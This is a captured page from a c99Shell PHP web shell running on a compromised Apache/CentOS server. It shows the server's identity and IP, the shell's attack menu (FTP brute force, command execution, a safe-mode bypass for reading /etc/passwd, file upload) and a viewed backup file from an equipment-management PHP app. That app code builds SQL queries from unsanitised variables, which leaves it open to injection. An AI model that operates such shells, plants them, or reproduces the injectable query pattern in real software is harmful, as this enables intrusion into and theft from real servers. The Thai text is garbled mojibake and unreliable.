110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher_aj_viratt/Manament/ drwxr-xr-x Free 52.41 GB of 127.8 GB (41.01%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/Manament/ drwxr-xr-x
Free 52.41 GB of 127.8 GB (41.01%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: FrmEdit.php.bak (9.07 KB) -rw-r--r--
Select action/file-type:
(+) | (+) |

(+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php
 $Username = $valid_user;
 $Password = $password;
include("../../include/FunctionDB.php");
include("../../include/Function.php");
ConnectDB();
  $sql ="SELECT * FROM manament_tb  Where  code='$code'";
  $result = mysql_query($sql) or die("Cannot Select").mysql_error();
  $rs = mysql_fetch_array($result);
?>
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>

<html>
<head>
<title>Edit accessories</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
  <tr bgcolor="#CCCCFF" > 
    <td height="25" colspan="3"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong><font color="#FF0000">бЎйдў</font> 
        ўйНБЩЕ</strong></font></div></td>
  </tr>
  <form name="form1" method="POST" action="EditMan.php"
    enctype="multipart/form-data">
    <tr bordercolor="#99CCFF">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ЗС№·ХибЁй§«иНБ</font></div></td>
      <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">ЗС№·Хи
            <select name="mDate" id="select4" class="select" >
              <?php
		   $Date_buy = $rs[Date_buy];
           $yearthai = explode("-",$Date_buy);
           $mDate =   intval($yearthai[2]);
           $mMonth =  intval($yearthai[1]);
           $mYear =   intval($yearthai[0]);
            for($i=0;$i<=31;$i++)
	         {  
            if( $i == 0)
               echo"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
		       echo"\n\t<option value=\"$i\">$i</option>\n ";
	          }
		 		//	getDay1to31();
		   ?>
        </select>
    аґЧН№
    <select name="mMonth" id="select5" class="select" >
      <?php
		  $Date_buy = $rs[Date_buy];
           $yearthai = explode("-",$Date_buy);
           $mDate=   intval($yearthai[2]);
           $Month =  intval($yearthai[1]);
           $mYear2=   intval($yearthai[0]);	 
           $mMonth = $Month;
		  $CMonth = TxtThaiMonth($Month);
    	   for($i=-1;$i<=11;$i++)
          	{
             $a = $i+1;
	            if( $a == 0)
                  echo"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
		          echo"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
	          }
                 // getThaiMonth();
		  ?>
    </select>
    »Х ѕ.И.
    <input name="mYear" type="text" id="mYear" size="4" class="input1" value="<? echo $mYear?>" >
      </font></td>
    </tr>
    <tr bgcolor="#FFFFFF">
      <td width="26%" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ГЛСК - НШ»ЎГім/ВХиЛйН</font></div></td>
      <td width="2%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td width="72%" bgcolor="#EEEEEE"><select name="Acc_name" id="Acc_name" class="input1">
          <?php
		     $Acc_name = $rs[Acc_name];
			$strSQL6 = "SELECT * FROM  manament_tb Where  code='$code' ";
			$result6 = mysql_query($strSQL6);
			  $strSQL7 = "SELECT * FROM  manament_tb   ";
			  $result7 = mysql_query($strSQL7);
			     while( $rs6 = mysql_fetch_array($result6))
				{
				echo"<option value=\"$rs6[Acc_name]\" ><b>$rs6[Acc_code]     &nbsp;$rs6[Acc_name]</b></option>\n";
				     while( $rs7 = mysql_fetch_array($result7))
					{
                echo"<option value=\"$rs7[Acc_name]\" ><b>$rs7[Acc_code]     &nbsp;$rs7[Acc_name]</b></option>\n";
				}
				}
	      ?>
      </select></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">НТЁТГВмјЩйГСєјФґЄНє</font></div></td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">
        <select name="Teacher_code" id="Teacher_code" class="input1">
          <?php
	      $Teacher_code = $rs[Teacher_code];
		   $strSQL4 = "SELECT * FROM personal_tb Where  Teacher_code='$Teacher_code' ";
		   $result4 = mysql_query($strSQL4);
			 $strSQL5 = "SELECT * FROM  personal_tb   Where   Permision='2'   Order by Teacher_name";
				 $result5 = mysql_query($strSQL5);
				 while( $rs4 = mysql_fetch_array($result4)) 	
					 {
			     echo"<option value=\"$rs4[Teacher_code]\" ><b>$rs4[Teacher_name]&nbsp;$rs4[Teacher_lastname]</b></option>\n";
				  while( $rs5 = mysql_fetch_array($result5)) 	
						 {
					   echo"<option value=\"$rs5[Teacher_code]\" ><b>$rs5[Teacher_name]&nbsp;$rs5[Teacher_lastname]</b></option>\n";
				  }
					 }		
		    ?>
        </select>
      </font></strong></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"><font size="2">Є№ФґНШ»ЎГім</font> </font></div></td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td><font size="2" face="Tahoma">
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Hand piece"))){echo "checked";} ?> value="Hand piece">
		Hand piece
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","X-ray"))){echo "checked";} ?> value="X-ray">
	X-ray
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Air compressor"))){echo "checked";} ?> value="Air compressor"> 
	Air compressor
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Dental Chair"))){echo "checked";} ?> value="Dental Chair">
	Dental chair
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","а¤ГЧиН§ўЩґЛФ№»Щ№"))){echo "checked";} ?> value="а¤ГЧиН§ўЩґЛФ№»Щ№"> 
	а¤ГЧиН§ўЩґЛФ№»Щ№</font></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE">&nbsp;</td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","а¤ГЧиН§©ТВбК§"))){echo "checked";} ?> value="а¤ГЧиН§©ТВбК§">
		а¤ГЧиН§©ТВбК§
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Autocalve"))){echo "checked";} ?> value="Autocalve">
	Autocalve
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","а¤ГЧиН§»Си№НБСЕЎСйБ"))){echo "checked";} ?> value="а¤ГЧиН§»Си№НБСЕЎСйБ">
	а¤ГЧиН§»Си№НБСЕЎСйБ
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Hot air oven"))){echo "checked";} ?> value="Hot air oven">
	Hot air oven
    <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","Dental Unit"))){echo "checked";} ?> value="Dental Unit">
	Dental Unit</font></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="20" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">No </font></div></td>
      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td><font color="#006633" size="2" face="Tahoma">
        <input name="Acc_code" type="text" id="Acc_code" value="<? echo $rs[Acc_code]?>" size="30">
      </font></td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td> <div align="center"><font size="2" face="Tahoma">КТаЛµШНТЎТГ</font></div></td>
      <td>&nbsp;</td>
      <td bgcolor="#eeeeee">
<textarea name="Contact" cols="40" rows="5" id="Contact" class="input1"><? echo $rs[Contact]?></textarea>
      </td>
    </tr>
    <tr bordercolor="#99CCFF">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ГЩ»АТѕ</font></div></td>
      <td bgcolor="#EEEEEE">&nbsp;</td>
      <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="73%"><div align="center">
                <font color="#996600" size="2" face="Tahoma"></font>
                <input name= "Img1"  type="file"  class="input"  id="Img1"  onChange=browse()> 
            </div></td>
            <td width="27%"><div align="center"><img name="Imag1" src=" " width="100" height="100"></div></td>
          </tr>
      </table></td>
    </tr>
    <tr bgcolor="#CCCCFF" > 
      <td height="25" colspan="3"> <div align="center"> 
          <input name="code" type="hidden" id="code" value="<? echo $rs[code]?>">
          <input type="submit" name="Submit" value=" єС№·ЦЎ " class="button">
          &nbsp;</div></td>
    </tr>
  </form>
</table>
</body>
</html>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--